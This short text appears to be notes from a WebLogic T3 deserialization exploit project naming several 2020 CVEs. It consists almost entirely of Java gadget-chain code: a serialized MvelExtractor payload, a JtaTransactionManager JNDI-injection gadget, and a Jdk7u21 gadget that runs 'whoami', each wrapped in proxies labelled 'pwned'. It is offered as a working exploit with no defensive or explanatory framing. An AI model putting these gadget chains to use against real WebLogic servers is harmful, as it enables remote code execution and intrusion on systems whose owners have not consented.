CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit pot python3
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
ObjectOutputStream oo = new ObjectOutputStream(System.out);
oo.writeObject(o);
oo.flush();
public MsgOutput getObject(final String command) throws Exception {
String jndiAddress = command;
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
return remote;
}
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
return ior;
}